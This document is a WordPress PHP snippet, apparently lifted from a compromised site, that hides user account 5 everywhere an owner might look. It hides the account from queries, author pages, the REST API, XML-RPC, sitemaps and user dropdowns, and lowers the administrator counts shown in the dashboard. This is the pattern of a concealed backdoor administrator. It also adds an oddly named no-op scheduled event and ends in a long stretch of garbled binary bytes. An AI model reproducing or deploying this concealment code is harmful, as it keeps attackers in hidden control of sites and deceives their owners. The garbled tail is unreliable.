add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 5;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 5 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 5;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 5;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
՝͎r6w(7P*Ct`f0`x+c oIVV*LRRWg7ko~_c""%JN։dpj%}y'?pV/?;]/7/??v6j>6OW?\ݷv۫}xZq^l;.sZ~hڇ6wWn߭Wnuڬa/WP]+4az߮f3gCжSOﻇ>lۻ_~?onlnyn<͖]o>ݯֻaZ6vk7'"uO3>?mv_|ywncw7.D~ilW_ݶ_/監?f'9D>3~6adn~0 $}~aدᮘUXD cۿ8{7Vr{ ^{GBm0a
Ks6P䠜;O=q|*fр 5V*n'Dň]tI
sXN8=vV[18=.YNpH!8CE<))I],(ɬ1'>_^*vRmu!{0tO
|eOsD=Go
-Xx#'*Wx5Nfе9%8
`^sxGr܃8;lAH&B8i4!~Rp8i6!]1cHs8q$pD
xdp#.N9Flalcm6=58Tdc)\tj'tk;R&=qtrŇ>ĵdҙ+N g$*t
96>q!hAp41OS:t#uS|PCdu̪E)jB6 $SEV!1Ҋ
x58*FߜZQ*IssG'HVatV-*d&XldVJsxr%֡4A<7J'7Tcv^U/فGә_(C7y9 B2N\^q>q]@'gV!p.,;p%'E$s91CD'@ZŨ}UvZ:qoUNHfV0G6-P+!0' nNi5ǚ{UI&85 D<GRcMV+W1yʡul[|E[~atp^kzI7N
1TWWrJT':qR8vC =8E}?3J=ȸPir@^fr$+^wu5zģUd̑9N|l^TVQ//ð')jaaCX>q^*l,b+Jt_wvM!fMt)mp7b_i*eɉb7Ӎ/&SCrb2O8Ѓk2$:tȉ?mRpJGqx-8r[b
ߜ(FFso!Ԅ:NTՍ%5~ڡCŴC+N,iCv1=M)F8,8/ݣ7R8tF/'`ޫ)'-)fl$'VȂSkgyY'uxj/T9_K8
[Ggss8hoN(W:$pP U ^Q UV1OJdpEtytIBVd8/ D+jP
/*<TܩC_7\+|)\TLc(,VU\"."u8;+ﶺ
ouS
ydCȱҨZ*y>T=xpY'XCiԡfﵮ5~@=8hIVZK +jI1R?z(LjEd!* av
*OVI!s\eĥ}VbpaU Dd*
$̢Ii\vZMxBVl2#6!&SGZA1E,m҃m@ }d֎-ӃX+@6jYG_Ze!8pym9xf-YcKsVdn粏7+ʦztxB
9֚ZsfHVX{qd??nW^WҤiy_N=w[YӒ4vVoԈӒa[O/|+zܷ·NjR*n{LKNbw?%s珢F+O<-y壢Eu9DTV
A[vZr2tlᅅK'Z%ؘ̓y
G H0LK!(0@3*甧%Țr}U&*Q
UG,<_rT'd?;%5DK:I!؇
r1ᚬi]p,YvTUYӒF yCr rM'
$n~8 'NR93+#'$wdrFD?K9wY'F MIY峄\(bKXT|w̿MK+RHKvy}"'nO4-yP<+qayJr^̞*Wd#oD10l8呓JGsקU˦$%LΜSYqlLEi,Q63ur[*&21cTdrmFJȑR^LI!/[U|EY~**zÃٝSu_Hi@9WR*nOPæ'%F-(ȥ};ӒXV7#E,O䎵6wPx#B(['vd+9KT$#,ӒC9cs#CZÙz|zGGͥЊB~j-98דVT9wX؎=)9Vرo0<5qZxlHr)y:mP
Zrǹ\E>db J(2X=)9dP 1r eQP (/'%OM^>09ĀiCu^P+E*W^\Q%
\E^ev!9dȹF>GU
J^2dur?w^FI&j}=XxN`|tNM̊3\۷Qqe>ByՒט0(D@r7/睴H\qtVQK/[&0#I3Wwxr=Бs+3W!7&"47Q0lKG'zC5oh
XpӒW!w}=u 5z,"/IrN֢RΑys;4\!
%KrCARLZ -rFsoP?T!sv"S :oJkޜBk-٬j-Yב]JɣfΜRZݪJfEf%Y@m)"r]wBypv7Q
)8M$ЮkwkɁ*O'J -1B9ʣ=y6˶{r3VZ99/ڬ!*W{Eh~/!V=VYh\ՙ{Lv>;:ƥeS.S/Q9E/h'5~dg+M\"K|rљmu.:$!-'Cr+@`\ϋc\/g,\PT>3X+C(ޫxD>z7xCr\1c`q[b+HZF砕g.8rGkɹ:uѓ3]%&bGZrͤsHb$zu\Zr WGl|PُGӒRq]eEV,<+=[w(
ݢ|MխP&>X0琰~ŎJ]MD|9nJ._>]8ja[x~K]<
5+"(1gܨX':JĊPZXDDW}1s-䞿u[zr,?"wX8&F*Y1^nauL.n!jŌ>6ss^3E\sEE:"NwB,lu/ЍE5ESzгxn pԁK]j
d:)esMTA-?Vv>5M$3/x. '
KpY
ךO]F($yev- ;z ocp'dy2pGB.*5y)e^=8B
˦@',*>
w!x myvݚé`7OB[[,oϥ2ruYZn3s/'n6flUg.?vlv:ҳvnxjb=[ ~>hpOlPmV'`sU1Tb}nn?-3=k7ڗFs|fU1^W]ZM*Hf/*ʳ^un>V:+UXvsm$8A/ͳrX]13i
E2B滄efEER'"EShQ[>pMu)_wl,4b˴VU!iH\Ѵ'z-/~G@;2Jg=E'U˥uL} pm˷?je ^o nEh;1b \,]X 2k?pjwދFįI4:&>Ho?Yr(]eW)q89d*o!Lmj~YY1;}h<`i"3%x^RH9&eEX4iY-aȾi\ӏVa%em"9ʩMtw %.kXOיִ`,#EH:Tg+z?w?Z
GzÓl
n6oM)1`wݝ_rيmȈX$npŤe(H<yI6~x}h Vp@I?{!-#=
rPM>!^tCT@:s8rKt_/Vo}!t!!- ylVE
]٧Sf`tKyl[FEZEhVg-9Я>[
F.kͱoF~\Z7D&{Q ϧRf%&+n rqxՙ&IB7w{Pxb>zu^>l>Κ)8Alq}n匥z>J
^k5ދx6'S!eH`.vojYW:```+knG
N,)}K%^AE
CRbNb^d2^uxv}8RM7|tbx B=zg~fۏɧ܊6urV llK~CӮ~^-[:W_`Eyy|^-j&r`UO? X
X-ٶ7..mPm<@EfSv߬
e?ۭQ/(\,I߅V{b攅t]K+ S>H}?Zut,uЋp&4(8#sLX dC6eR>b\K